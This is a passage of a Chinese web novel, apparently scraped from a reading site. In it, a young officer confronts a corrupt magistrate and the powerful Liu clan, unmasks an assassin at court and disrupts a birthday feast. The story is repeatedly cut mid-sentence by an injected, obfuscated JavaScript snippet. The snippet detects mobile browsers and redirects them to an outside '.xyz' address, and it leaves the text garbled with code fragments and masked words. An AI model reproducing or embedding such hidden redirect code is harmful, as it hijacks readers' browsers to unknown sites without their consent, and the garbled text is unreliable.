百姓自动放开一条通道,只见一名身着青衫,手持一把战刀的少年缓步走来,其身后跟着一众身披铠甲,腰悬战刀的士兵。 孙县令目光一凝,说道:“凌校尉,是你把这些人**到县衙**的?” 凌川连忙摇头,说道:“县令大人这可就冤枉我了,我不过是路过,正好看到这么多人喊冤,便前来看看热闹!” 孙县令冷笑一声,他自然不会相信凌川的这些鬼话,不过凌川是带兵前来,自己也不敢贸然得罪,特别是昨日,凌川才以雷霆之势扫平了刘家的矿山,让他心里对眼前这个少年多了几分忌惮。 只见凌川缓步上前,扫了这些手持战刀的衙役一眼,问道:“怎么?孙县令这是要拿百姓开刀吗?这几百人可够得杀,要不,我借点人给你?” 孙文泰脸色不断变幻,最终只能无奈挥了挥手,让衙役将刀收起来。 “凌校尉带兵到我县衙,想必不是看热闹这么简单吧?”孙文泰看着凌川问道。 凌川一脸和煦的笑容,说道:“果然是什么都瞒不过孙大人,本校尉是接到禀报,说有人**县衙,这才带兵前来保护县令大人的安全,可现在看来,事情似乎并不是这样!” 凌川指了指身边这些百姓,说道:“他们个个都在喊冤,县令大人难道不打算开堂审理吗?” 孙县令直视凌川,说道:“这是本官的事情,就不劳凌校尉操心了!” “孙县令这话就见外了,鄙人作为云岚县校尉,提点云岚一切军务,守卫一县安宁,如今,出了这么大的事情,我岂敢不闻不问?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948027|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 凌川面带冷笑,继续架着孙文泰,说道:“县令大人赶紧开堂审理吧,若是遇到难题,我也可以帮忙!” 见孙文泰依旧没有动作,凌川脸上的笑容逐渐收敛,沉声问道:“莫非今早满城飘飞的罪状所说为真,孙县令收了刘家的银子,与刘家狼狈为奸、鱼肉百姓?” “胡说!”孙文泰义正言辞说道:“本官一身清正廉明,岂会做出这种事情来,定是有人在污蔑本官!” 此时,他已经被凌川给架了起来,无论他愿不愿意,今日都必须升堂,哪怕他心知肚明这些人出现在县衙,都是凌川在背后推波助澜,可眼下也只能将过场走下去。 很快,孙县令便升堂审案,而凌川则是主动要求听审。 看着案台之上堆积如山的状纸,上面所写的冤情皆是跟刘家有关,孙文泰的脸色变得无比难看。 他将求助的目光看向身后的常师爷,后者立马意会,走上前来,在孙县令耳边小声说了几句。 “啪……” 只见孙县令拾起惊堂木往堂上猛然一拍,说道:“你们的诉求本官已经知晓,不过此事牵连甚多,需要逐步查证,你们先回去吧,等本官查出真相,定会让人通知你们,如果真如你们所说的那般,本官定会还你们一个公道!” 孙县令这番话说得情真意切,明眼人都知道,他的每一个字都是在敷衍。 正当孙县令准备起身离去之时,凌川却叫住了他。 “慢着!” 孙文泰眼神中闪过一丝怒意,问道:“凌校尉有何指教?” “所有百姓的冤情都与刘家有关,难道孙县令不应该传唤刘家的人上堂对质吗?”凌川看着他问道。 “怎么审案,是本官的事情,凌校尉未免管得太宽了吧!” 凌川神色如常,不过声音却逐渐冷漠下来:“如此说来,孙县令是准备敷衍了事,等时间久了便不了了之?” “本官绝无此意!” “那就是你畏惧刘家,不敢秉公执法,置百姓冤情于不顾?”凌川步步紧逼,追问道。 第112章 这次,我选择正义! “无稽之谈本官身为云岚县令乃一县百姓的父母官代表大周律法无论是谁犯了罪都会秉公办理岂有害怕一说?” 凌川缓缓起身说道:“那在下实在想不明白为何人证物证俱在的情况下你还要百般拖延莫非你真与刘家坑壑一气鱼肉百姓?” 孙文泰已经被气得浑身发抖指着凌川喝道:“凌川你屡次污蔑本官到底是何居心?” 凌川指着头顶上方朗声回应道:“我想斩断遮住云岚县天空那只大手为他们讨一份公道!” 听到凌川这番话场下百姓无不是感激涕零。 他们也终于相信这天底下有好官只是太少太少了。 凌川看着孙县令顿了顿继续说道:“如果孙县令不愿意主持这份公道那我凌某人来!” “凌川你目无法纪、扰乱公堂本官一定禀明节度府治你的罪!”孙文泰气得浑身颤抖怒喝道。 凌川不为所动冷笑道:“这是孙大人的权利不过在治我的罪之前是不是应该先治刘家的罪?” “此事本官自有决断还轮不到你来教本官做事!”孙文泰冷哼一声衣袖一甩就要离场。 “唰!” 只见一道寒芒闪过 孙文泰双目圆瞪怒声喝道:“凌川你想干什么?” “事情解决之前孙大人不能走!”凌川声音逐渐转冷。 见此情景王捕头右手搭在刀柄上就要拔刀忽然感觉一股凉意传来只见凌川已经用凌厉的目光锁定了他。 “王捕头你也是云岚县百姓这些年一直跟在他身边想必比我更清楚你们这位县令大人这些年的所作所为你真要摒弃自己的良知选择站在苍生和正义的对立面吗?” 凌川这番话宛如一把尖刀直接扎在王栩的胸口让他整个人呆滞在原地。 正如凌川所言这些年孙县令与刘家很多见不得光的事情他都清楚事实上孙县令待他也不错经常给予奖赏但他很清楚赏给他的银子没有一两是干净的。 每次收到银子他的内心就会沉重几分因为他知道那些银子都是老百姓的民脂民膏。 这些银子他一分都没花全部分给了城里一群讨口的孤儿希望以此能让自己的良心好受些可依旧无数次梦见那些满身鲜血的百姓站在他床前就这么看着他。 可随着跟随孙县令的时间越来越久对于那些肮脏的交 易和鱼肉百姓的事情,他也逐渐麻木,只是每次拿到银子的时候,心底都会感觉一阵刺痛。 凌川刚才这番话,宛如一道惊雷将他惊醒,这才发现,自己虽然没有做过一件恶事,但那一幕幕见不得光的血腥,就像一头恶魔,正在一点点蚕食自己的良心。 他想起自己入职前一天,娘亲帮他整理衣物时,苦口婆心地叮嘱他的那番话。 ‘栩儿,以后当了公差,手里有了权力,别丢了良心,要为老百姓做主,因为,你也是从百姓家里走出去的!’ 如今,娘亲已经去世多年,自己也将她的叮嘱忘之脑后。 “王栩,你还愣着干什么?把他给本官赶出去!”孙县令的怒喝声将王栩拉回了现实。 王栩缓缓松开握住刀柄的右手,长出了一口气说道:“大人,这一次我想选正义!” 犹记得,第一次孙县令将十两银子放到他面前,王栩犹豫了许久,内心也挣扎了许久。 孙县令告诉他,这个世界本就如此,所谓的正义,不过是不同的选择而已,如果你没有足够的实力,正义就是一个笑话。 他内心经历一番争斗,最终收下了那十两银子,也是从那个时候起,王栩感觉自己的脊背不像以往那般笔直,尽管孙大人对他愈发器重,甚至把自己当成他的心腹。 “你说什么?”孙文泰怒目圆瞪,恨不得将王栩生吞活剥。 而王栩却毫不畏惧地直视着他,这一刻,他感觉压在心口的那块大石头消失了,腰板挺得笔直。 “所有人听令,收刀,后退!”王栩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948028|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对身后一众衙役说道。 “王栩,你个白眼狼,你反了天了!”孙县令气急败坏地大喝道:“把王栩给我拿下!” 然而,一众衙役置若罔闻,他们对于王栩这个头儿非常敬重,当王栩选择站在正义的一方,这些衙役也都跟他做出了相同的选择。 凌川看着王栩,赞赏地点了点头,随即再次看向孙县令,问道:“孙大人,现在能继续审案了吗?” 此时的孙县令已经成为孤家寡人,面对凌川手下那明晃晃的战刀,他只能乖乖坐回堂上。 就在这时,王栩走到凌川跟前,说道:“大人,刘家二爷**就在后堂,卑职这就去把他带过来受审!” “让我的人去吧!”凌川却制止了他,说道。 沈珏带着两名亲兵,直奔县衙后堂,不消片刻,**便被带了出来。 其实,**一直躲在后堂偷听,当听到王栩竟然反水,还把自己供出来的时候,他就感觉到了不妙,正欲脱身沈珏便带人闯了进来。 凌川冷眼从**身上扫过,随即对孙文泰问道:“孙大人,是你继续审问,还是我来代你审?” “本官自己会审,就不劳凌校尉了!” 看着台下的**,孙文泰坐立不安,只见他颤颤巍巍地拿起惊堂木,却迟迟未能落下。 **站于堂下,双手负后,高昂着头,一副傲然之态。 “堂下何人,报上名来!”孙县令开口问道。 **露出不屑之色,冷笑道:“孙文泰,你确定要审我?” “我……” 孙文泰满脸紧张,一时间竟说不出话来。 他心里很清楚,在刘家人眼里,自己不过是他们的一条狗,哪怕是维持表面尊重,也不过是想让自己帮他们处理一些事情。 “我累了,烦请县令大人赐个坐!”这明显是在提醒孙县令,哪怕是在这县衙,他也没资格让自己站着说话。 同样,也是做给凌川看。 第113章 绵里针! 凌川嘴角勾起一抹冷笑,他算是见识到刘家人的嚣张了。 只见他对亲兵招了招手,说道:“既然刘二爷说站累了,那就让他跪下回话吧! 苍蝇大步走到堂中,直接一脚踹在**的后背。 后者猛然扑到,双膝重重跪在地上,霎时间,一股剧痛传来,**感觉自己的双膝要碎开一般。 正当他准备忍痛起身的时候,一把冰冷的战刀已经架在他的脖子上,紧接着,苍蝇那冰冷而霸道的声音自身后传来:“二爷,现在舒服些了吗? 顿时,**眼底升腾起无边怒火,这么多年来除了父亲之外,他便只跪过一次,那就是当初侄女成婚之时,对刺史大人下过跪。 孙文泰蹭的一下站起身来,他哪敢让刘家二爷跪在自己面前? 至于堂外的百姓,只感觉无比解气,不少人更是当场拍手叫好。 这么多年了,终于有人站出来收拾刘家了。 反观跪在堂下的**,眼神中满是阴狠与恼怒,他先是恶狠狠地瞪了孙文泰一眼,随即转过目光看向凌川。 “乳臭未干的小东西,也敢让老子下跪,我记住你了! 凌川不屑一笑,随即对孙县令说道:“孙大人,请继续吧! 孙文泰此时已是满头大汗,让他去审刘家二爷,他断然没这个胆子,可这位年纪轻轻,却霸道狠辣的校尉大人同样是他得罪不起的存在。 只见孙县令颤颤巍巍地坐回椅子上,然而,不等他开口,一道寒芒飞射而出。 “噗…… 伴随着一声轻响,**的身体一顿,随即倒在地上。 所有人神色一惊,哪怕是站在**身后的苍蝇都没有反应过来,只见他翻过**的身体,发现他双目圆瞪,除了眉心处那个不起眼的小红点之外,看不出任何异常。 “有**! 伴随一声惊呼,一众亲兵迅速行动,朝着后堂奔去,奈何,后堂空空如也,一个人都没有。 沈珏快步来到**的尸体跟前,看了看他眉心那个小红点,然后又用手指沾起鲜血,放在鼻子跟前嗅了嗅。 “绵里针! 苍蝇不解地问道:“绵里针是什么东西? “血衣堂有七大顶级**,分别是锦上花、雪中炭、雪上霜、火上油、风中絮、心头刀和绵里针!沈珏本就是江湖中人,对于江湖中的事情远比其他人知道得多。 “据说,这七大顶级**神出鬼没,每一位都有自己的看家本领,而这绵里针 最擅长的便是飞针**,令人防不胜防!” “杀,**了……”孙县令吓得瑟瑟发抖。 他并不是害怕**,只是因为死的人是刘家二爷才感到害怕。 堂外,许多百姓还不明所以,直到听到那句有**,才意识到刘家二爷被刺身亡。 在听到**来自血衣堂的时候,凌川眼眸中闪过一抹杀机,不由自主地想到前不久死在血衣堂**中的那几名死字营成员。 只是,他也没想到,血衣堂的**竟然如此猖獗,竟然敢在公堂之上**。 对于**的死,他并不感到惋惜,毕竟刘家的罪证已经收集齐全,**招与不招都不妨碍他除掉刘家。 此行的目的只有一个,那就是让刘家与孙县令反目,如今目的已经达成,**的死活也就不重要了。 见孙县令已经被吓傻,常师爷则是连忙站出来,对王栩等衙役吩咐道:“赶紧把尸体抬下去!” 王栩让几名衙役上前,将**的尸体抬到后堂,常师爷正欲跟上去却被凌川叫住。 “常师爷真是好手段啊!” 常师爷身体一顿,眼神中闪过一丝慌乱,不过很快便恢复常色。 只见他微微躬身,问道:“校尉大人此话何意?” “你这一手飞针绝技,真是令我大开眼界,绵里针果然是名不虚传!”凌川一脸淡笑,看着他说道。 常师爷神色如常,说道:“校尉大人真会开玩笑,我不过是一介书生,怎么会是**呢?” 就在二人说话期间,苍蝇已经带着一种亲兵将其围住,不管他是不是杀死**的绵里针,他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948029|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都必须谨慎对待。 “是与不是,搜一搜就知道了!”凌川淡淡说道,随即,苍蝇几人便朝着他靠近。 常师爷依旧是神色不改,可他眼底闪过的一丝慌乱还是被凌川捕捉到了。 就在此时,只见常师爷猛然抬手,一枚钢针自他的袖口飞出,径直朝着凌川射来。 “大人小心!”苍蝇惊呼一声,奈何那钢针速度太快,快到众人连反应的机会都没有。 “叮……” 一道尖锐之声传来,只见凌川手中战刀猛然一挥,将这枚钢针挡住。 只见一枚寸余长的钢针掉落在地上,针尖呈暗黑色,显然是淬了毒。 “拿下他!” 孟钊一声令下,几名亲兵一拥而上。 常师爷本想从后门逃走,却已经来不及,他虽为血衣堂的顶级**,但平时都是靠飞针**,近身战力稀疏平常,很快便被拿下。 就在此时,凌川也走了上来,以擒拿手熟练地卸掉他的双臂也下巴。 前世特种兵执行任务,经常要抓捕一些间谍,抓捕成功后,第一时间便是卸掉他们的双臂和下巴,让他们没办法**。 因为,这些**和间谍往往都是心怀死志,最常见的手段便是在嘴里**药,一旦被抓,便可以咬破药包自尽,以此来保守秘密,同时还能减少折磨。 上次那几名血衣堂的**被唐岿然堵在老房门口,自知逃生无望便果断选择自尽,这一次,凌川又岂会没有防备? 常师爷双臂宛如霜打的茄子耷拉着,下巴也严重脱臼,根本闭不拢。 “看看他嘴里有没有**!”凌川说道。 沈珏上前用刀柄撬开他的嘴巴,随后伸出两根手指在口中一阵摸索,果然,一个被羊肠包裹的小药包被掏了出来。 这一发现,令一众亲兵满脸震惊,心中对于凌川的佩服又加深了几分。 “大人,你怎么知道他嘴里会**的?”苍蝇震惊地问道。 “这些都是**惯用的手段!”凌川淡淡说道:“把人带回军营,单独关押,严加看管!” 第114章 让凌川滚过来赔罪! 回到营地,已经是晚上。 苏璃正在做针线活,凌川走上前一把搂住她:“娘子,像被套这种东西直接去裁缝店买就行了,何必自己亲手做?” 苏璃白了他一眼,忍着笑意,说道:“谁告诉你这是被套了,这是翠花的衣服!” 凌川:“……” “相公你别笑话人家,翠花可是个好姑娘,我本想带她去裁缝店做两件衣服,可那丫头害羞,死活不去,我只能用咱们自己织的棉布给她做两件!”苏璃说道。 “我知道,我不会笑话她的!”凌川强忍着笑意点头。 就在这时,刘晏找上门来,将一封请帖递给凌川。 “哪儿来的?” 凌川接过一看,这请帖做得十分精致,显然不是普通人家能拿出手的。 “刘家送来的!” 听闻此言,凌川不由得露出一抹意味深长的笑意,随即打开扫了一眼,便丢到一边。 刘家在这个时候给他送请帖,可不是服软,而是在向他宣战。 “我要的东西准备好了吗?”凌川又问道。 刘晏当然明白凌川所指何物,回答道:“已经做好了,正准备上漆!” “上漆就免了吧,漆老贵的!” 三日时间转瞬即至,今日便是刘家老爷子刘南庭的七十岁寿辰。 冬去春来,云岚县也迎来了难得的好天气,一大早,刘家庄园外边大红灯笼高高挂,一片喜庆。 可即便是再多的红灯笼,再热闹的锣鼓声,也无法驱散刘家人心中的沉重阴霾。 接连几日,刘家遭逢巨变,先是矿区被抢占,**两百多人,其中刘家嫡系更是多达数十人,刘武与刘成生死不知。 紧接着,刘家二爷又惨死于县衙公堂,据说是**手刺杀。 接二连三的变故,让刘家上下一片紧张,可偏偏在这个时候,刘家没有办丧事,反而是办起了喜事,这不由让人耐人寻味。 半上午,车马轿辇陆续出现在刘家庄园跟前,前来拜寿的,皆是云岚县有头有脸的大人物,不仅是云岚县,周围几个县的大人物也来了不少。 刘桐带着管家在门口迎接宾客,一般人都被安排在大院,只有极少数贵客才会被带入内堂。 此次,刘家摆了整整七十桌寿宴,不一会光景便有半数落座。 由此可见,刘家这个云岚县第一家族的影响力可不仅仅是局限于云岚县。 到场宾客开怀畅谈,对刘家近几日遭遇的事情,所有人都默契选择 闭口不谈。 “听说刺史大人今日会亲自到场,是不是真的?”有人小声问道。 “我也听说了,按照辈分来说,刺史大人还是刘老爷子的晚辈,此次到场贺寿,也不足为奇!”另一人回答道。 时间一点点过去,场中宾客也越来越多,这让刘家人的脸上写满了自豪,为家族的强大而感到自豪。 可家主刘桐的脸上却逐渐流露出焦急之色,对身旁的管家问道:“什么时辰了?” “马上就午时了!”管家躬身回答道。 “为何刺史大人还不到呢?”刘桐焦急地来回踱步,随即对管家说道:“派出去的人有消息了吗?” “目前还没有!” 就在此时,一队人马飞奔而来,跑在最前方的乃是一对年轻男女,男子英俊潇洒,女子英姿过人又不失秀美,后方跟着几名随从模样的男子。 “那是,是大小姐!”老管家指着前方说道。 刘桐抬眼看去,顿时一喜。 “爹爹!” 年轻女子隔着老远便大声呼喊,刘桐见状也快速迎了上去。 待女子下马之后,便连忙跑了上来,喊道:“爹爹,女儿回来了!” “你怎么还咋咋呼呼的,如今你已嫁作人妇,要懂礼节,切不可像以前那般任性胡来!”刘桐满脸溺爱地说道。 “岳父大人千万别责怪仙仪,小婿喜欢的就是她这份率真!”那器宇不凡的年轻男子也翻身下马,走了上来。 男子不是别人,正是云州刺史的长子,贺鸿羽! “哈哈,仙仪从小没了娘,都怪我把她宠坏了,贤婿多多包容!”刘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948030|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桐握着年轻男子的手,脸上堆满了笑容。 随后,他又看向身后,问道:“怎么没看见刺史大人?” “哦,父亲的马车走得慢些,仙仪等不及就让我陪她先一步过来了!”贺鸿羽笑着回答道。 “快进屋吧,爷爷一直在等着你们呢!”三人有说有笑进了屋,老管家则是负责招待那几名随从。 二人刚进内堂,刘老爷子罕见亲自起身相迎,表面看起来是和蔼可亲,对这个孙女和孙女婿喜爱有加,但明眼人都知道,这一切都源于那位刺史大人。 刘仙仪先是围着老爷子一番撒娇,紧接着便开口问道:“爷爷,听说家里遇到了些麻烦?” 刘老爷子眼神中闪过一丝异样,不过很快就被其掩饰了起来,笑道:“小事情,不值一提,哈哈哈……” 贺鸿羽被刘家人一同夸赞,整个人都要飘了起来,此时,他主动接过话题,说道:“一个小小校尉而已,我这就让他过来,跪着给爷爷赔罪!” 刘老爷子闻言,连忙制止道:“我的乖孙婿,这种小事哪需你出面,我们刘家虽然比不上你们家那么显赫,但也不是任人拿捏的软柿子!” 刘仙仪年纪不大,可心机却胜过许多成年人,她昨日接到父亲的传信,深知其中利害,这也是为何她会与贺鸿羽率先赶来的原因。 只见她目光流转,坐到贺鸿羽身边挽着他的手臂,撒娇道:“夫君,那个凌川好生无礼,明知今日是爷爷的寿辰,还来找咱们家的事,这明显是没将夫君乃至公公放在眼里啊!” 见刘仙仪楚楚可怜的样子,贺鸿羽眼眸中闪过一抹怒意,说道:“娘子放心,你们家的事儿就是我的事,我这就让人去把那不知死活的东西抓过来,跪着给爷爷赔罪!” 听闻此言,刘仙仪立马露出笑意,说道:“我就知道,夫君一句话,那什么狗屁校尉还不得屁颠屁颠跑过来!” “来人!”只见贺鸿羽对外卖喊了一声。 一名持刀男子出现在门口,躬身询问:“公子有何吩咐?” “去告诉云岚校尉凌川,一炷香之内,滚过来赔罪!” 第115章 享年六十九! 那名随从领命而去,贺鸿羽则是被一张张谄媚的笑脸和一句句奉承的话语淹没。 不多时,老管家走到刘老爷子身边,躬身说道:“老爷子,吉时已到,宾客们也来得差不多了! “刺史大人到了吗?刘老爷子问道 “还没有! “那就再等等!刘老爷子说道。 “爷爷,我父亲说了,他估计要晚到,今日您是寿星,就不用等他了!贺鸿羽说道。 刘老爷子连忙摆手说道:“刺史大人亲自来给我祝寿,那是我刘家的荣幸,岂能不等啊! 而就在此时,贺鸿羽派出去的那名随从也回来了,贺鸿羽故作深沉,问道:“人到了吗? “回公子,人到是到了…… 不等对方说完,贺鸿羽直接将其打断,说道:“让他先跪着! 忽然,外面传来一阵骚乱,其中还夹杂着兵甲碰撞的声音,这让内堂众人神色一变,不少人惊慌起身。 “这些人怎么回事,不像话!刘桐怒喝一声,就要起身出门询问。 “云岚校尉凌川,前来给刘老爷子贺寿! 就在这时,一道爽朗的声音传来,哪怕是内堂众人也听得一清二楚。 听到这个声音众人神色各异,只有贺鸿羽面带得意之色,随即拉起刘仙仪的手站起身来。 “呵呵,还算听话,走,去看看是谁给他的胆子,敢在刘家头上动土! 那名随从本想开口,却发现,贺鸿羽已经先一步拉着刘仙仪的手走出门去。 大堂之中,两排兵甲鲜亮的士兵持刀而立,凌川立于大堂中央,看着从内堂走出来的刘家众人。 刘老爷子身着一件大红色锦袍,胸前用金线绣着一个大大的‘夀’字,在长子刘桐的搀扶下走了出来。 “云岚县校尉凌川,前来给刘老爷子拜寿!凌川拱手说道。 “校尉大人好大的架势啊,不知道的还以为是来我刘家**呢! 凌川笑了笑,并未解释,而是反问道:“不知刘老爷子的寿辰是什么时辰? 刘南庭神色一愣,不明白凌川何此一问,但还是回答道:“老夫未时生人,不知校尉大人有何指教? “指教不敢当,只是觉得有些可惜了!凌川故作一脸惋惜的神态,回答道。 “可惜什么?刘南庭问道。 “可惜老爷子享年六十九,只差一个时辰就年满古稀,这难道不可惜吗? 此言一出,全场哗然。 “大胆!” “凌川,你在胡言乱语什么?” 一时间怒斥声响彻整个大堂,刘老爷子的脸色也变得无比阴沉。 只见他强压着心中的怒火,说道:“凌校尉若是来捣乱的,恕我刘家不招待,若是来做客的,就请入座吧!” “不急,今日我专程给老爷子准备了一份大礼,我保证老爷子一定用得上!”只见凌川一挥手,后方,四名士兵便抬着一口棺材走到跟前。 见到这一幕,刘家人一个个气得面色铁青,浑身颤抖,刘老爷子更是一个趔趄,好在刘桐将其扶住,这才没有摔倒。 满场宾客更是惊愕无比,之前便听闻这位新上任的年轻校尉行事霸道,刚一到任便硬刚刘家。 没想到他竟如此大胆,在刘老爷子的寿宴上送一口棺材,这是要与刘家不死不休的节奏啊。 尽管你手握兵权,可别忘了刘家可是有刺史大人撑腰,你一个小小云岚县校尉,拿什么与刘家斗? “凌川小儿,你欺我太甚!”刘南庭面色铁青,咬牙切齿地说道。 他已经很多年没有这般动怒了,毕竟,在这云岚县,没有人想承受他的怒火。 “来人,把他们给我轰出去!”刘桐大喊一声,想要呼叫刘家家丁。 然而,等了许久,并没有一个家丁进来。 “来人,都**吗?”刘桐大吼道。 可现场依旧一片寂阒,他终于意识到,出问题了。 当他再次将目光看向凌川的时候,发现后者依旧是一脸的气定神闲,从始至终脸上都带着一抹淡笑。 “凌川,是你搞的鬼?”刘桐颤声喝问道。 “聪明!”凌川没有否认,点头说道。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948031|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大胆!” 就在此时,一声冷喝传来,只见刘仙仪直接走上前去,指着凌川喝道:“好你个不知死活的狗东西,竟敢到我爷爷的寿宴上来撒野!” 凌川先是一愣,没想到刘家还有这样的猛人,真是巾帼不让须眉,想来,这应该就是那位嫁给云州刺史当儿媳的那位刘家骄女了。 见刘仙仪走上前去,后方的刘桐等人脸上不由得闪过担忧之色。 紧接着偷偷瞄了贺鸿羽一眼,发现他神色如常,便放心了许多。 “本小姐命令你,跪下磕头,磕到我爷爷原谅为止,否则……” “否则如何?”凌川看着她,似笑非笑地问道。 这副带着挑衅的表情将刘仙仪彻底激怒,只见她一个箭步冲上来,抬手便是 一巴掌朝着凌川扇来。 “啪……” 一记清脆的耳光响彻全场,只不过,这记耳光并非是扇在凌川的脸上,反而是刘仙仪嘴角带血、连连后退,脸颊之上四道指痕清晰可见。 出手之人并非凌川,而是苍蝇。 现场的气氛再次陷入死一般的寂静之中,无数宾客张大嘴巴,满脸的难以置信。 要知道,这个女子可不仅仅是刘家的娇女,更是刺史大人的儿媳妇,凌川却当众掌掴,这岂不是在打刺史大人的脸? “狗东西,你,你竟敢打我……” “掌嘴!”凌川开口吐出两个字。 苍蝇再次冲上去,又是一记耳光扇在她的另一边脸上。 “啪……” 刘仙仪彻底懵了,她从小被家族当成掌上明珠,如今更是嫁给了刺史大人的公子,身份高贵到难以想象,放眼整个云州,谁见了她不得客客气气的。 可今日,却接连被掌掴,这于她而言,简直就是奇耻大辱。 “狗杂碎,你死定了……”刘仙仪浑身颤抖,眼神中满是恶毒的杀意。 “我说停了吗?”凌川的声音再次传来。 苍蝇立马领悟,双手齐出,只听一连串清脆的耳光声响彻全场,十几个耳光下来,刘仙仪早已是面目全非。 第116章 通天鉴与廷尉府! “住手!” 贺鸿羽终于反应过来只见他一声暴喝快步冲了上去。 与此同时他身后的三名随从也紧跟着冲了上来挡住了苍蝇。 “唰唰唰……” 三名随从同时拔出腰间战刀对着苍蝇与凌川二人。 “给我杀了他我要他死!”贺鸿羽怒目而视暴喝一声。 几名亲兵见状也果断拔刀冲了上去饶是这三名护卫实力不弱面对亲兵营的好手也逐渐落入下风。 “十招之内拿不下你们回去领罚!”凌川淡漠的声音传来。 “列阵!”苍蝇大喝一声直接列成五行锥阵朝着三人压了上去。 “嗤嗤嗤……” 几个回合下来三名护卫纷纷受伤五行锥阵趁机压了上去将三人拿下。 现场众人神色巨变贺鸿羽眼眸中满是震惊父亲派给他这三名护卫可都是一等一的好手然而这才不过片刻时间竟然被人给拿下了。 不少人都能看出若论个人实力这三名护卫高出凌川手下人一大截可当那五人列阵之后就宛如一个整体攻守兼备找不到任何破绽。 三人被死死摁在地上无法动弹。 其中一人更是对贺鸿羽喊道:“公子快走……” 可惜此时的贺鸿羽已经被仇恨冲昏了头脑对于这名护卫的话置若罔闻。 “夫君你要帮仙仪报仇啊杀了他杀了这个狗杂碎!”刘仙仪满嘴是血一双猪肝色脸蛋更是肿得老高。 “还敢骂人我看你是耳刮子还没吃够是吧!”苍蝇怒目而视吓得刘仙仪连忙躲到丈夫身后。 此时的贺鸿羽被气得浑身颤抖眼眸之中满是冰冷的杀意。 竟然有人当着自己的面掌掴自己的女人这不仅仅是打自己的脸更是在打父亲的脸。 “趁着我父亲还没到你若自裁当场或许能少受些痛苦!”贺鸿羽咬牙切齿地说道。 凌川不屑一笑说道:“贺公子我觉得有必要提醒你一句这里是云岚县!” “哼!你还知道这里是云岚县难道你忘了我父亲可是云州刺史你想以下犯上不成?”贺鸿羽双眸中闪现出冰冷杀机死死盯着凌川。 凌川同样看着他 此言一出贺鸿羽脸色巨变刘家人一个个更是面如死灰只感觉天都快塌了。 云州刺史贺临舟是他 们这次最大的依仗,他们坚信,只要刺史大人一到,凌川就得乖乖听话,俯首帖耳,任其发落。 可现在,凌川竟然告诉他们,刺史大人来不了了,这是什么意思? 莫非,凌川竟然胆大包天到,要在半路截杀刺史大人? 这个念头一经出现,所有人都被自己吓一跳。 “不可能!我父亲与我们一道来的云岚县,此时估计已经进城了,你还敢在这里强作镇定,最后奉劝你一句,赶紧跪下,等候我父亲发落!” “贺公子这么喜欢让人下跪,想必自己定然擅长此道,那就当众表演一下吧!” 凌川说得轻描淡写,可苍蝇却瞬间听懂了他的意思,直接走到跟前,一把将贺鸿羽给拉了过来。 “这么喜欢跪是吗?给我跪下!” “你敢!”贺鸿羽大吼。 一向嚣张跋扈的他,此时面对苍蝇手中冰冷的战刀,也吓得浑身打颤。 就在此时,堂外传来一道声音: “公子,刺史大人让我带你回云州!” 众人循声望去,只见一名手持长剑的中年男子缓步走来,他步伐沉稳,似乎自带一股强大的气场。 听到这个声音,贺鸿羽顿时一喜,仿佛落水之人抓到了救命稻草一般。 “关叔叔,我爹到了吗?”贺鸿羽连忙问道。 中年男子径直走进大堂,说道:“刺史大人有急事先行返回了,让我来接公子回云州!” 听闻此言,一众刘家人脸色剧变,一颗心更是直接沉入谷底。 “刺史大人他不来了?”刘老爷子颤声问道。 